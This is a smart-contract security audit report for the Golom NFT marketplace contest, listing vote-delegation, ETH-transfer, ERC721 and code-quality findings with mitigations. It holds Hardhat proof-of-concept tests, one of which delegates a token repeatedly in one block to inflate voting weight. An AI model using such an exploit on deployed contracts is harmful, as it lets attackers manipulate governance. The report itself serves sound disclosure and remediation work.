Golom contest - JohnSmith's results

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L101

Vulnerability details

[M-02] _writeCheckpoint() and removeDelegation()revert because of underflow

Problem

When nCheckpoints is zero we get an undreflow error because we are trying to substract from nCheckpoints and since it is of type uint256, it can't be less than zero. https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L101

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
101:         Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];

213:         Checkpoint storage checkpoint = checkpoints[tokenId][nCheckpoints - 1];

PoC

It is a test, where we try to call delegate(uint256, uint256):

it('delegateVotesReverts', async () => {
            let tenGolomTokens = "10000000000000000000" //10 * 1e18
            let oneGolomTokens = "1000000000000000000" //1 * 1e18
            let user = accounts[6]
            let user2 = accounts[7]
            let userAddress = await user.getAddress()
            let user2Address = await user2.getAddress()
            let rewardDistributor1 = accounts[8]
            await golomToken.connect(governance).setMinter(await rewardDistributor1.getAddress());
            await golomToken.connect(governance).executeSetMinter();
            await golomToken.connect(rewardDistributor1).mint(userAddress, tenGolomTokens)
            await golomToken.connect(rewardDistributor1).mint(user2Address, tenGolomTokens)

            await golomToken.connect(user).approve(voteEscrow.address, oneGolomTokens)
            await golomToken.connect(user2).approve(voteEscrow.address, oneGolomTokens)

            let tx = await voteEscrow.connect(user).create_lock(oneGolomTokens, 1000000)
            let  rc = await tx.wait()
            let  event = rc.events?.find(event => event?.event === 'Transfer');
            let [from, to, tokenId] = event?.args || [];
            tx = await voteEscrow.connect(user2).create_lock(oneGolomTokens, 1000000)
            rc = await tx.wait()
            event = rc.events?.find(event => event?.event === 'Transfer');
            let [from2, to2, tokenId2] = event?.args || [];

            tx = await voteEscrow.connect(user2).delegate(tokenId2, tokenId)
            rc = await tx.wait()
        });

Full test code at https://gist.github.com/johnsmith1623/8f826454986492bbd5b6b6774807b397 We get an error:

     Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)
    at VoteEscrow._writeCheckpoint (contracts/vote-escrow/VoteEscrowDelegation.sol:101)
    at VoteEscrow.delegate (contracts/vote-escrow/VoteEscrowDelegation.sol:85)

Mitigation

Check if value is not zero before substracting from it.

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L71

Vulnerability details

[H-01] User can delegate same token multiple times in same block and get bigger voting weight

Attacker can delegate same tokenId many times in same block and have bigger voting weight

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L71

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
71:     function delegate(uint256 tokenId, uint256 toTokenId) external {
72:         require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed');
73:         require(this.balanceOfNFT(tokenId) >= MIN_VOTING_POWER_REQUIRED, 'VEDelegation: Need more voting power');
74: 
75:         delegates[tokenId] = toTokenId;
76:         uint256 nCheckpoints = numCheckpoints[toTokenId];
77: 
78:         if (nCheckpoints > 0) {
79:             Checkpoint storage checkpoint = checkpoints[toTokenId][nCheckpoints - 1];
80:             checkpoint.delegatedTokenIds.push(tokenId);//@audit what if pushed multiple times same block
81:             _writeCheckpoint(toTokenId, nCheckpoints, checkpoint.delegatedTokenIds);

Function _writeCheckpoint(uint256,uint256,uint256[]) with its if check does not prevent anything

101:         Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1];
102:
103:         if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) {
104:             oldCheckpoint.delegatedTokenIds = _delegatedTokenIds;//@audit does nothing

PoC

It is a test, where we delegate multiple times in one block delegate(uint256, uint256):

 describe("delegation", () => {
        it('delegateVotesAttack', async () => {
            let tenGolomTokens = "10000000000000000000" //10 * 1e18
            let oneGolomTokens = "1000000000000000000" //1 * 1e18
            let attacker = accounts[6]
            let attacker2 = accounts[7]
            let attackerAddress = await attacker.getAddress()
            let attacker2Address = await attacker2.getAddress()
            let rewardDistributor1 = accounts[8]

            await golomToken.connect(governance).setMinter(await rewardDistributor1.getAddress());
            await golomToken.connect(governance).executeSetMinter();
            await golomToken.connect(rewardDistributor1).mint(attackerAddress, tenGolomTokens)
            await golomToken.connect(rewardDistributor1).mint(attacker2Address, tenGolomTokens)
            
            await golomToken.connect(attacker).approve(voteEscrow.address, oneGolomTokens)
            await golomToken.connect(attacker2).approve(voteEscrow.address, oneGolomTokens)
            
            let tx = await voteEscrow.connect(attacker).create_lock(oneGolomTokens, 1000000)
            let  rc = await tx.wait()
            let  event = rc.events?.find(event => event?.event === 'Transfer');
            let [from, to, tokenId] = event?.args || [];
            tx = await voteEscrow.connect(attacker2).create_lock(oneGolomTokens, 1000000)
            rc = await tx.wait()
            event = rc.events?.find(event => event?.event === 'Transfer');
            let [from2, to2, tokenId2] = event?.args || [];

             voteEscrow.connect(attacker2).delegate(tokenId2, tokenId)
             voteEscrow.connect(attacker2).delegate(tokenId2, tokenId)
            tx = await voteEscrow.connect(attacker2).delegate(tokenId2, tokenId)
            rc = await tx.wait()

            let votes = await voteEscrow.connect(attacker).getVotes(tokenId)
            console.log("votes: " + votes)
            
        });

Full test code at https://gist.github.com/johnsmith1623/8f826454986492bbd5b6b6774807b397 You may have to fix underflow error before trying to test it. User should not be able to increase voting weight at same checkpoint in such way

Mitigation

Check if it is not there already before pushing it.

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L154

Vulnerability details

[M-03] Usage of deprecated transfer to send ETH

Usage of deprecated transfer function can revert.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L154

File:	contracts/core/GolomTrader.sol 
154:             payable(payAddress).transfer(payAmt); // royalty transfer to royaltyaddress

Proof of Concept

The original transfer used to send eth uses a fixed stipend 2300 gas. This was used to prevent reentrancy. However this limit your protocol to interact with others contracts that need more than that to process the transaction.

A good article about that: https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/.

Recommended Mitigation Steps

Used call instead. For example

(bool success, ) = payable(payAddress).call{value: payAmt}("");
           require(success, "Transfer failed.");

Lines of code

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L604

Vulnerability details

[M-05] Return value of IERC721Receiver(to).onERC721Received() is ignored

By standard "Return of other than the magic value MUST result in the transaction being reverted." But value is not schecked and there is no revert if wrong value returned. Other contract creators rely on this standard and can expect that caller will revert transaction if they don't return the magic value.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L604

File:	contracts/vote-escrow/VoteEscrowCore.sol
588: ///      If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if
589: ///      the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`.

604: try IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) returns (bytes4) {} catch (
605: 	bytes memory reason
606: ) {

Recommended Mitigation Steps

Add check for returned value like this:

 try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
    return retval == IERC721Receiver.onERC721Received.selector;
 } catch (bytes memory reason) {

Low risk Issues

[L-01] Timelock is too short

It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a malicious Manager making a frontrunning/sandwich attack on the fees). Timelock should be at least three days to cover weekends. A lot of people do not work on weekends, and will not be able to react to changes in time.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L58

File:	contracts/governance/GolomToken.sol
58:     function setMinter(address _minter) external onlyOwner {
59:         pendingMinter = _minter;
60:         minterEnableDate = block.timestamp + 1 days;
61:     }

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L286

File:	contracts/rewards/RewardDistributor.sol
286:         traderEnableDate = block.timestamp + 1 days;

302:             voteEscrowEnableDate = block.timestamp + 1 days;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L415

File:	contracts/core/GolomTrader.sol 
449:             distributorEnableDate = block.timestamp + 1 days;

Recommended Mitigation Steps

Add more time: *****EnableDate = block.timestamp + 3 days

[L-02] Zero-address checks are missing

Zero-address checks are a best practice for input validation of critical address parameters. While the codebase applies this in some cases, there are many places where this is missing in constructors and setters. Accidental use of zero-addresses may result in exceptions, burn fees/tokens, or force redeployment of contracts.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L29

File:	contracts/governance/GolomToken.sol
29:         _transferOwnership(_governance); // set the new owner

59:         pendingMinter = _minter;

67:             minter = pendingMinter;

70:             minter = pendingMinter;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L80

File:	contracts/rewards/RewardDistributor.sol
80:         weth = ERC20(_weth);
81:         trader = _trader;
82:         rewardToken = ERC20(_token);
83:         _transferOwnership(_governance); // set the new owner

287:         pendingTrader = _trader;

293:         trader = pendingTrader;

300:             ve = VE(pendingVoteEscrow);

303:             pendingVoteEscrow = _voteEscrow;

310:         ve = VE(pendingVoteEscrow);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L94

File:	contracts/core/GolomTrader.sol 
94:         _transferOwnership(_governance);

446:             distributor = Distributor(_distributor);

448:             pendingDistributor = _distributor;

456:         distributor = Distributor(pendingDistributor);

Recommended Mitigation Steps

Add zero-address checks, e.g.:

require(_trader != address(0), "Zero-address");

[L-03] Use of floating pragma

Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. https://swcregistry.io/docs/SWC-103

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L2

File:	contracts/governance/GolomToken.sol
2: pragma solidity ^0.8.11;

Recommended Mitigation Steps

Lock the pragma version to the same version as used in the other contracts and also consider known bugs (https://github.com/ethereum/solidity/releases) for the compiler version that is chosen.

Pragma statements can be allowed to float when a contract is intended for consumption by other developers, as in the case with contracts in a library or EthPM package. Otherwise, the developer would need to manually update the pragma in order to compile it locally.

[L-04] Events not emitted for important state changes

When changing state variables events are not emitted. Emitting events allows monitoring activities with off-chain monitoring tools.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/governance/GolomToken.sol#L59

File:	contracts/governance/GolomToken.sol
59:         pendingMinter = _minter;

67:             minter = pendingMinter;

70:             minter = pendingMinter;

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L287

File:	contracts/rewards/RewardDistributor.sol
287:         pendingTrader = _trader;

293:         trader = pendingTrader;

300:             ve = VE(pendingVoteEscrow);

303:             pendingVoteEscrow = _voteEscrow;

310:         ve = VE(pendingVoteEscrow);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L446

File:	contracts/core/GolomTrader.sol 
446:             distributor = Distributor(_distributor);

448:             pendingDistributor = _distributor;

456:         distributor = Distributor(pendingDistributor);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L261

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
261:         MIN_VOTING_POWER_REQUIRED = _newMinVotingPower;

Recommended Mitigation Steps

Emit events for state variable changes.

[L-05] Return values of transfer()/transferFrom() not checked

Not all IERC20 implementations revert() when there’s a failure in transfer()/transferFrom(). The function signature has a boolean return value and they indicate errors that way instead. By not checking the return value, operations that should have marked as failed, may potentially go through without actually making a payment

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L151

File:	contracts/rewards/RewardDistributor.sol
151:         rewardToken.transfer(addr, reward);

165:         rewardToken.transfer(addr, reward);

208:         rewardToken.transfer(tokenowner, reward);
209:         weth.transfer(tokenowner, rewardEth);

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L154

File:	contracts/core/GolomTrader.sol 
154:             payable(payAddress).transfer(payAmt); // royalty transfer to royaltyaddress

382:         WETH.transferFrom(o.signer, address(this), o.totalAmt * amount);

Recommended mitigation steps

Check return value

[L-06] Unused/empty receive() and fallback()functions

If the intention is for the Ether to be used, the function should call another function, otherwise it should revert.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L313

File:	contracts/rewards/RewardDistributor.sol
313:     fallback() external payable {}

315:     receive() external payable {}

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L459

File:	contracts/core/GolomTrader.sol 
459:     fallback() external payable {}

461:     receive() external payable {}

[L-07] abi.encodePacked() should not be used with dynamic types when passing the result to a hash function such as keccak256()

Use abi.encode() instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456), but abi.encode(0x123,0x456) => 0x0...1230...456). "Unless there is a compelling reason, abi.encode should be preferred". If there is only one argument to abi.encodePacked() it can often be cast to bytes() or bytes32() instead.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L175

File:	contracts/core/GolomTrader.sol 
175:         bytes32 hash = keccak256(abi.encodePacked('\x19\x01', EIP712_DOMAIN_TYPEHASH, hashStruct));

Recommended mitigation steps

Use abi.encode()

[L-08] Use of assert() instead of require()

Contracts use assert() instead of require() in multiple places. This causes a Panic error on failure and prevents the use of error strings. Prior to solc 0.8.0, assert() used the invalid opcode which used up all the remaining gas while require() used the revert opcode which refunded the gas and therefore the importance of using require() instead of assert() was greater. However, after 0.8.0, assert() uses revert opcode just like require() but creates a Panic(uint256) error instead of Error(string) created by require(). Nevertheless, Solidity’s documentation says:

“Assert should only be used to test for internal errors, and to check invariants. Properly functioning code should never create a Panic, not even on invalid external input. If this happens, then there is a bug in your contract which you should fix. Language analysis tools can evaluate your contract to identify the conditions and function calls which will cause a Panic.”

whereas

“The require function either creates an error without any data or an error of type Error(string). It should be used to ensure valid conditions that cannot be detected until execution time. This includes conditions on inputs or return values from calls to external contracts.”

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L493

File:	contracts/vote-escrow/VoteEscrowCore.sol
493:         assert(idToOwner[_tokenId] == address(0));

506:         assert(idToOwner[_tokenId] == _from);

519:         assert(idToOwner[_tokenId] == _owner);

666:         assert(_operator != msg.sender);

679:         assert(_to != address(0));

861:             assert(IERC20(token).transferFrom(from, address(this), _value));

977:         assert(_isApprovedOrOwner(msg.sender, _tokenId));

981:         assert(_value > 0); // dev: need non-zero value

991:         assert(_isApprovedOrOwner(msg.sender, _tokenId));

1007:         assert(_isApprovedOrOwner(msg.sender, _tokenId));

1023:         assert(IERC20(token).transfer(msg.sender, value));

1110:         assert(_block <= block.number);

1206:         assert(_block <= block.number);

Recommended mitigation steps

Use Custom Errors or at least use require() with informative error strings instead of assert().

[L-09] Shadowing State Variables

https://swcregistry.io/docs/SWC-119 In future it could go unnoticed and subsequently lead to security issues.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L171

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
71:     function delegate(uint256 tokenId, uint256 toTokenId) external {

79:     Checkpoint storage checkpoint = checkpoints[toTokenId][nCheckpoints - 1];

116:     function _getCurrentDelegated(uint256 tokenId) internal view returns (uint256[] memory) {

168:     function getVotes(uint256 tokenId) external view returns (uint256) {

185:     function getPriorVotes(uint256 tokenId, uint256 blockNumber) public view returns (uint256) {

210:     function removeDelegation(uint256 tokenId) external {

213:     Checkpoint storage checkpoint = checkpoints[tokenId][nCheckpoints - 1];

tokenId and checkpoint are already defined in parent contract:

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L4

File:	contracts/vote-escrow/VoteEscrowCore.sol
323:     uint256 internal tokenId;

915:     function checkpoint() external {

Recommended mitigation steps

Rename the local variables that shadow another component.

[L-10] Hardcoded contract address

On different blockchains same address may contain contract with different logic.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L45

File:	contracts/core/GolomTrader.sol 
45:     ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

Recommended mitigation steps

Make it immutable and set it in constructor();

[L-11] Misleading comment in function comments

The function comments imply that if passed address is zero address, then function "throws". In reality it just returns 0 .

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L395

File:	contracts/vote-escrow/VoteEscrowCore.sol
395:     /// @dev Returns the number of NFTs owned by `_owner`.
396:     ///      Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid.
397:     /// @param _owner Address for whom to query the balance.
398:     function _balance(address _owner) internal view returns (uint256) {
399:         return ownerToNFTokenCount[_owner];
400:     }
401: 
402:     /// @dev Returns the number of NFTs owned by `_owner`.
403:     ///      Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid.
404:     /// @param _owner Address for whom to query the balance.
405:     function balanceOf(address _owner) external view returns (uint256) {
406:         return _balance(_owner);
407:     }


588:     ///      If `_to` is a smart contract, it calls `onERC721Received` on `_to` and throws if
589:     ///      the return value is not `bytes4(keccak256("onERC721Received(address,address,uint,bytes)"))`.
					//@audit no check, does not throw if wrong value returned
604:             try IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) returns (bytes4) {} catch (
605:                 bytes memory reason
606:             ) {

Recommended Mitigation Steps

Add zero address check and revert.

[L-12] _writeCheckpoint() stores array to memory

Array _delegatedTokenIds is stored to memory struct, not to storage, probably intended to store it in storage.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L94-L109

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
094:     function _writeCheckpoint(
095:         uint256 toTokenId,
096:         uint256 nCheckpoints,
097:         uint256[] memory _delegatedTokenIds
098:     ) internal {
099:         require(_delegatedTokenIds.length < 500, 'VVDelegation: Cannot stake more');
100:         uint index = nCheckpoints == 0 ? 0 : nCheckpoints- 1;
101:         Checkpoint memory oldCheckpoint = checkpoints[toTokenId][index];
102: 
103:         if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) {
104:             oldCheckpoint.delegatedTokenIds = _delegatedTokenIds;
105:         } else {
106:             checkpoints[toTokenId][nCheckpoints] = Checkpoint(block.number, _delegatedTokenIds);
107:             numCheckpoints[toTokenId] = nCheckpoints + 1;
108:         }
109:     }

Recommended Mitigation Steps

change oldCheckpoint from being memory variable to be storage

Checkpoint storage oldCheckpoint = checkpoints[toTokenId][index];

[L-13] Dependencies are outdated

Some libraries are outdated and contain various vulnerabilities npm audit shows 44 vulnerabilities (8 moderate, 35 high, 1 critical)

Findings

@openzeppelin/contracts  4.0.0 - 4.7.0
Severity: high
OpenZeppelin Contracts's SignatureChecker may revert on invalid EIP-1271 signers - https://github.com/advisories/GHSA-4g63-c64m-25w9
OpenZeppelin Contracts's ERC165Checker may revert instead of returning false - https://github.com/advisories/GHSA-qh9x-gcfh-pcrw

//@audit and many more in result report below

Recommended Mitigation Steps

Update dependencies;

[L-14] Add a timelock to critical functions

It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a malicious Manager making a frontrunning/sandwich attack on the fees).

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L260-L262

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
260:     function changeMinVotingPower(uint256 _newMinVotingPower) external onlyOwner {
261:         MIN_VOTING_POWER_REQUIRED = _newMinVotingPower;
262:     }

Recommended Mitigation Steps

Add a timelock.

[L-15] Set sane maximum for input parameter

There should be an upper limit to minimum voting power

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L260-L262

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
260:     function changeMinVotingPower(uint256 _newMinVotingPower) external onlyOwner {
261:         MIN_VOTING_POWER_REQUIRED = _newMinVotingPower;
262:     }

Recommended Mitigation Steps

Add a check for input parameter, so it can not be unreasonably high.

[L-16] Non-exploitable(yet) reentrancy

There is no reentrancy guard in RewardDistributor.addFee(address[2],uint256) function, and if the trader changed with reentrancy guard missing, it will cause exploitation of this function.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L98

File:	contracts/rewards/RewardDistributor.sol
98:     function addFee(address[2] memory addr, uint256 fee) public onlyTrader {

Recommended Mitigation Steps

Add reentrancy guard

Non-Critical Issues

[N-01] Function is missing NatSpec

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L32-L40

File:	contracts/rewards/RewardDistributor.sol
32: function ownerOf(uint256 tokenId) external view returns (address owner);

34: function totalSupplyAtT(uint256 t) external view returns (uint256);

36: function balanceOfNFTAt(uint256 _tokenId, uint256 _t) external view returns (uint256);

38: function totalSupplyAt(uint256 _block) external view returns (uint256);

40: function balanceOfAtNFT(uint256 _tokenId, uint256 _block) external view returns (uint256);

74: constructor(

141: function traderClaim(address addr, uint256[] memory epochs) public {

155: function exchangeClaim(address addr, uint256[] memory epochs) public {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L112

File:	contracts/core/GolomTrader.sol 
112: function hashPayment(Payment calldata p) private pure returns (bytes32) {

123: function _hashOrder(Order calldata o) private pure returns (bytes32) {

127: function _hashOrderinternal(Order calldata o, uint256[2] memory extra) private pure returns (bytes32) {

151: function payEther(uint256 payAmt, address payAddress) internal {

312: function cancelOrder(Order calldata o) public nonReentrant {

323: function incrementNonce() external nonReentrant {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L13

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
13: function balanceOf(uint256) external view returns (uint256);

15: function balanceOfAtNFT(uint256, uint256) external view returns (uint256);

17: function ownerOf(uint256) external view returns (address);

52: constructor(address _token) {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L445

File:	contracts/vote-escrow/VoteEscrowCore.sol
445: function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {

571: function _isContract(address account) internal view returns (bool) {

868:     function setVoter(address _voter) external {

873:     function voting(uint256 _tokenId) external {

878:     function abstain(uint256 _tokenId) external {

883:     function attach(uint256 _tokenId) external {

888:     function detach(uint256 _tokenId) external {

893:     function merge(uint256 _from, uint256 _to) external {

910:     function block_number() external view returns (uint256) {

1093:     function balanceOfNFT(uint256 _tokenId) external view returns (uint256) {

1098:     function balanceOfNFTAt(uint256 _tokenId, uint256 _t) external view returns (uint256) {

1156:     function balanceOfAtNFT(uint256 _tokenId, uint256 _block) external view returns (uint256) {

1198:     function totalSupply() external view returns (uint256) {

1226:     function _burn(uint256 _tokenId) internal {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L66

File:	contracts/vote-escrow/TokenUriHelper.sol
66:     function _tokenURI(
67:         uint256 _tokenId,
68:         uint256 _balanceOf,
69:         uint256 _locked_end,
70:         uint256 _value
71:     ) public pure returns (string memory output) {

128:     function toString(uint256 value) internal pure returns (string memory) {

[N-02] Contract/interface/library declaraiton is missing NatSpec

Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/rewards/RewardDistributor.sol#L31

File:	contracts/rewards/RewardDistributor.sol
31: interface VE {

43: contract RewardDistributor is Ownable {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L36

File:	contracts/core/GolomTrader.sol 
36: interface Distributor {

40: contract GolomTrader is Ownable, ReentrancyGuard {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L12

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
12: interface IVoteEscrow {

20: contract VoteEscrow is VoteEscrowCore, Ownable {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L275

File:	contracts/vote-escrow/VoteEscrowCore.sol
275: contract VoteEscrowCore is IERC721, IERC721Metadata {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/TokenUriHelper.sol#L65

File:	contracts/vote-escrow/TokenUriHelper.sol
65: library TokenUriHelper {

[N-03] NatSpec is incomplete

Check @audit comments for details Instances include: https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L328

File:	contracts/core/GolomTrader.sol 
					//@audit NatSpec tags @param tokenId, @param proof are missing
328:    /// @dev function to fill a signed order of ordertype 2 also has a payment param in case the taker wants
329:    ///      to send ether to that address on filling the order, Match an criteria order, ensuring that the supplied proof demonstrates inclusion of the tokenId in the associated merkle root, if root is 0 then any token can be used to fill the order
330:    /// @param o the Order struct to be filled must be orderType 2
331:    /// @param amount the amount of times the order is to be filled(useful for ERC1155)
332:    /// @param referrer referrer of the order
333:    /// @param p any extra payment that the taker of this order wanna send on succesful execution of order
334:    function fillCriteriaBid(
335:        Order calldata o,
336:        uint256 amount,
337:        uint256 tokenId,
338:        bytes32[] calldata proof,
339:        address referrer,
340:        Payment calldata p
341:    ) public nonReentrant {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowDelegation.sol#L91

File:	contracts/vote-escrow/VoteEscrowDelegation.sol
			//@audit NatSpec tags @param toTokenId, param nCheckpoints, @param _delegatedTokenIds are missing
91:    /**
92:     * @notice Writes the checkpoint to store current NFTs in the specific block
93:     */
94:    function _writeCheckpoint(
95:        uint256 toTokenId,
96:        uint256 nCheckpoints,
97:        uint256[] memory _delegatedTokenIds
98:    ) internal {

				//@audit NatSpec tags @param _from, @param _to, @param _tokenId, @param _sender are missing
227:    /// @dev Exeute transfer of a NFT.
228:    ///      Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
229:    ///      address for this NFT. (NOTE: `msg.sender` not allowed in internal function so pass `_sender`.)
230:    ///      Throws if `_to` is the zero address.
231:    ///      Throws if `_from` is not the current owner.
232:    ///      Throws if `_tokenId` is not a valid NFT.
233:    function _transferFrom(
234:        address _from,
235:        address _to,
236:        uint256 _tokenId,
237:        address _sender
238:    ) internal override {

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/vote-escrow/VoteEscrowCore.sol#L428

File:	contracts/vote-escrow/VoteEscrowCore.sol
				//@audit NatSpec tags @param _owner, @param _tokenIndex, @return are missing
428:    /// @dev  Get token by index
429:    function tokenOfOwnerByIndex(address _owner, uint256 _tokenIndex) external view returns (uint256) {
430:        return ownerToNFTokenIdList[_owner][_tokenIndex];
431:    }
				
				//@audit NatSpec tags @param _to, @param _tokenId are missing
489:    /// @dev Add a NFT to a given address
